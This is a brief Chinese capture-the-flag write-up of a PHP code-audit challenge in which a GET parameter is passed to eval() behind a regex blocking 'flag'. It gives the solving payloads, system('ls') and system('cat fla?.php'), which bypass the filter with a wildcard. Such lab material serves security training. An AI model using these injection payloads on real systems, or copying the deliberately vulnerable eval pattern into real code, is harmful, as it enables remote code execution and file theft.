代码审计下
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
//这里对flag进行了正则匹配过滤
}else{
highlight_file(__FILE__);
}
通过
GET
请求传递参数,进行代码执行,绕过正则过滤即可
#查看当前目录下文件
?c=system('ls');
- 发现有
flag.php
,但是正则过滤了flag
,这里可以用通配符来绕过
?c=system('cat fla?.php');
#php没有显示要查看源代码
#也可以重命名绕过